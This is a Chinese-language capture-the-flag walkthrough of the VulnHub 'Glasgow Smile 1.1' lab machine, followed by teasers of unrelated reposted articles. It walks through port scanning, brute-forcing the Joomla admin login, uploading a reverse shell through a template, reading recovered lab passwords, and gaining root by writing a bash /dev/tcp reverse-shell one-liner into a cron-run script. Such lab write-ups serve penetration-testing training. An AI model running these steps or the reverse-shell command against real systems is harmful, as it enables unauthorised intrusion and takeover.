GLASGOW SMILE: 1.1

news/2024/10/10 18:21:25

靶机描述

靶机地址:https://download.vulnhub.com/glasgowsmile/GlasgowSmile-v1.1.zip

Description

Title: Glasgow Smile

  • Users: 5
  • Difficulty Level: Initial Shell (Easy) - Privileges Escalation (Intermediate)
  • Hint: Enumeration is the key.

If you are a newbie in Penetration Testing and afraid of OSCP preparation, do not worry. Glasgow Smile is supposed to be a kind of gym for OSCP machines.
The machine is designed to be as real-life as possible. Anyway, You will find also a bunch of ctf style challanges, it's important to have some encryption knowledge.
You need to have enough information about Linux enumeration and encryption for privileges escalation.

ABOUT THE VM:

Just download, extract and load the .vmx file in VMware Workstation (tested on VMware Workstation 15.x.x)
The adapter is currently NAT, networking is configured for DHCP and IP will get assigned automatically

CONTACT:

You can contact me on Hack the box (https://www.hackthebox.eu/profile/232477) or by email (mindsflee@hotmail.com) for hints!

Changelog 2020-06-16 - v1.1 2020-06-15 - v1.0

信息收集

利用arp-scan -l命令扫描靶机IP

arp-scan -l

image.png
使用nmap扫描开放端口

nmap -sV -p- 192.168.75.172

image.png
访问80端口并进行目录爆破
image.png

dirsearch -u http://192.168.75.172/ 

image.png

密码爆破

joomla/administrator是一个后台登陆页面
image.png

命令:cewl http://192.168.75.172/joomla -m 5 -d 1 -w joomla.txt
-w 写入当前目录的文件中
-d 表示爬取深度,默认是2
-m 表示最小字符长度

image.png
生成字典后对joomla登录页面进行爆破
image.png
image.png

漏洞利用

找到Extensions->Templates->Templates->Beez3 Details and Files上传反弹shell
image.png
image.png

反弹shell

image.png
image.png
获得交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

image.png
进入到/var/www发现有一个joomla2的目录
image.png
查看配置文件发现数据库的账号和密码
image.png

连接数据库

image.png
image.png
image.png
rob为此虚拟机的一个用户,将rob的密码进行base64解密
image.png
image.png

???AllIHaveAreNegativeThoughts???

rob连接ssh

使用rob的密码进行ssh登录
image.png
发现一个加密文件
image.png

  1. Abnerineedyourhelp文件名断句分析,Abner I need your help像是一封求助信,打开后看到经过了某种编码加密,从一封信的角度来看,对内容做隐藏让我想到ROT13
  2. Howtoberoot听名字就知道,这应该是提升权限的一个关键点,上面第一个文件应该给到了提示

解密

在线解密工具:https://gchq.github.io/CyberChef/
image.png
image.png

abner:I33hope99my0death000makes44more8cents00than0my0life0

abner连接ssh

image.png
现在查看一下三个账户剩下的最后一个账户penguin,查找一下有关penguin的信息

find / -iname *penguin* 2>/dev/null //找属于penguin的文件

image.png
切换到该目录进行查看
image.png
将该文件移动到abner用户的主目录下进行解压,否则没有权限

cp /var/www/joomla2/administrator/manifests/files/.dear_penguins.zip ~
//~表示$HOME即用户根目录

查看解压出来的文件,尝试一下最后的密码是不是penguins的密码
image.png

scf4W7q4B4caTMRhSFYmktMsn87F35UkmKttM5Bz

image.png

提权

利用文件权限配置不当进行提权
当某个进程启动权限为root,对应文件编辑权限为普通用户时,我们可以利用该问题点进行提权
image.png

pspy64

https://github.com/DominicBreuker/pspy
image.png

chmod + pspy64
./pspy64

发现隐藏文件.trash_ol一分钟执行一次,前面发现这个.trash_old是可以编辑的,那就用他来反弹shell
image.png

bash -c 'bash -i >& /dev/tcp/192.168.75.150/7777 0>&1'

image.png
一分钟后,计划任务程序会自动运行.trash_old,最终获取root权限
image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/27634.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

Linux网络-Yum仓库

Yum仓库 1.yum概述 Yum (Yellow dog Updater, Modified) 是一个基于rpm包构建的软件更新机制,能够自动解决软件包之间的依赖关系,并且一次安装所有依赖的软件包,无须繁琐地一次次下载、安装。节省了日常工作中的大量查找安装依赖包的时间。 2.yum工作原理 yum依赖于环境,…

DarkHole: 2

靶机描述 靶机地址:https://download.vulnhub.com/darkhole/darkhole_2.zipDescription Difficulty:Hard This works better with VMware rather than VirtualBox Hint: Dont waste your time For Brute-Force信息收集 主机发现 利用arp-scan -l命令扫描靶机IP arp-scan -l开放…

Hackable: III

靶机描述 靶机地址:https://download.vulnhub.com/hackable/hackable3.ovaDescription Focus on general concepts about CTF Difficulty: Medium This works better with VirtualBox rather than VMware.信息收集 nmap探测详细端口信息 nmap -sS -sV -A -p- 192.168.56.106探…

Hackable: II

靶机描述 靶机地址:https://download.vulnhub.com/hackable/hackableII.ovaDescription Difficulty: easy This works better with VirtualBox rather than VMware信息收集 端口扫描 通过nmap扫描目标主机发现开放了3个端口 nmap -A -p 1-65535 192.168.56.101FTP发现Web发现 …

CORROSION: 1

靶机描述 靶机地址:https://www.vulnhub.com/entry/corrosion-1,730/Description Difficulty: Easy A easy box for beginners, but not too easy. Good Luck. Hint: Enumerate Property.信息收集 利用arp-scan -l命令扫描靶机IP arp-scan -l端口扫描 nmap -sS -p 1-65535 -sV…

React Router、And、Redux动态菜单和动态路由

前言 动态菜单和动态路由的逻辑在登录完成之后,用useEffect监听dispatch把菜单和路由的数据初始化,渲染菜单,redux将路由的静态资源修改。数据结构后端数据符合前端需要的数据结构即可,mock后端接口返回数据 import Mock from mockjs;Mock.mock(/api, get, {code: 200,data…

Mysql数据库备份及恢复

mysqldump -uroot -p******** test > test.sql备份test数据库到当前目录 mysqldump -uroot -pAbc123*** -t test > test1.sql也就是备份test数据库中的插入数据,如图所示:这样的备份不能在新的数据库中恢复,只能在原库恢复. mysqldump -uroot -pAbc123*** -d test >…

WPF 高仿360功能界面

WPF 高仿360功能界面,如图:XAML TabControl 控件<TabControl Style="{StaticResource TabControlStyle}"><TabItem Header="资源共享" Style="{StaticResource TabItemStyle}"><TabItem.Background><ImageBrush ImageSou…